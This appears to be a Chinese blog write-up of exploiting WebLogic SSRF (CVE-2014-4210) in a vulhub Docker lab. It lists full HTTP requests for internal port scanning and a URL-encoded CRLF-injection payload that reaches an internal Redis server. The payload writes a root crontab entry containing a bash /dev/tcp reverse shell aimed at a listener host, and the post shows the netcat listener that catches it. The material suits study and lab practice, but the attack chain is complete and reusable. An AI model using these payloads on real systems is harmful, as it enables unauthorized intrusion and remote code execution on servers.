zoukankan      html  css  js  c++  java
  • WebLogic SSRF

      本文主要记录一下Weblogic SSRF 利用的操作过程。

    一、WebLogic SSRF漏洞简介

      漏洞编号:CVE-2014-4210
      漏洞影响:
      版本10.0.2,10.3.6
      Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。可以用来进行端口扫描等。

    二、环境介绍

      本次实验的环境使用的是phith0n vulhub 中的Weblogic SSRF

      将vulhub项目git到本地,切换到vulhub/weblogic/ssrf目录下:

    2.1 编译及启动测试环境

      下载环境需要费点时间,建议先更换好软件源并更新系统后再使用如下命令:

    docker-compose build
    docker-compose up -d

      下载,启动之后:

    root@starnight:~/vulhub/weblogic/ssrf# sudo docker ps
    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                              NAMES
    15c99ad8d813        vulhub/weblogic     "startWebLogic.sh"       33 minutes ago      Up 33 minutes       5556/tcp, 0.0.0.0:7001->7001/tcp   ssrf_weblogic_1
    bd7ff0826028        ssrf_redis          "/usr/local/bin/do..."   33 minutes ago      Up 33 minutes       6379/tcp                           ssrf_redis_1

    2.2 访问测试

      访问本地机器,这里为: http://192.168.0.12:7001/uddiexplorer/

      

      可以看到,服务已经正常启动。

    三、漏洞测试

    3.1 端口开放测试

      SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,访问一个可以访问/不能访问的端口得到的结果是不一样的。

      可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

    可访问的端口

      本地机器的7001端口肯定是可以访问的。

    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001/ HTTP/1.1
    Host: 192.168.0.12:7001
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1

    不可访问端口

      如端口7000,此端口并未开放。

    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000/ HTTP/1.1
    Host: 192.168.0.12:7001
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1

    3.2 注入HTTP头,利用Redis反弹shell

      Weblogic的SSRF可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。(参考链接一中有些笔误)

      先探测一下内网中:172.*.*.*  的redis服务器,我们可以用上3.1的端口探测,来探测Redis 6379端口。

    探测端口

    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/ HTTP/1.1
    Host: 192.168.0.12:7001
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1

      由此,我们知道docker环境中地址172.18.0.2,在端口6379运行Redis 服务。

    反弹shell

      在本地局域网的一台机器192.168.0.3上进行监听:nc -lvv 1337 (更改成自己机器的实际地址)

      将如下数据进行Urlencode, 可使用在线工具

    test
    
    set 1 "
    
    
    
    * * * * * root bash -i >& /dev/tcp/192.168.0.3/1337 0>&1
    
    
    
    "
    config set dir /etc/
    config set dbfilename crontab
    save
    
    aaa
    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.3%2F1337%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
    Host: 192.168.0.12:7001
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=XQX3hSRp5Jzp6p2PwFTZKFvQcSRG2gnTyvmDWzy5XC4rhrhnvnY3!1711855106
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1

      我们可以看到成功的反弹了shell(反弹shell的过程略微有点慢,稍候...)

    References

      Weblogic SSRF漏洞

      Weblogic 常见漏洞环境的搭建及其利用

  • 相关阅读:
    【Web前端】用CSS3实现弹幕
    清除float影响
    用send_keys输入文本的方法
    使用装饰器实现测试跳过和预期故障的方法
    python的logging日志模块
    Ubutnu linux 下升级python版本,以2.x升级到3.x为例
    如何生成HTMLTestRunner报告
    用java和junit编写app自动化测试用例
    用python和unittest编写app自动化测试用例
    appium自动化测试等待的三种方法
  • 原文地址:https://www.cnblogs.com/Hi-blog/p/8241693.html
Copyright © 2011-2022 走看看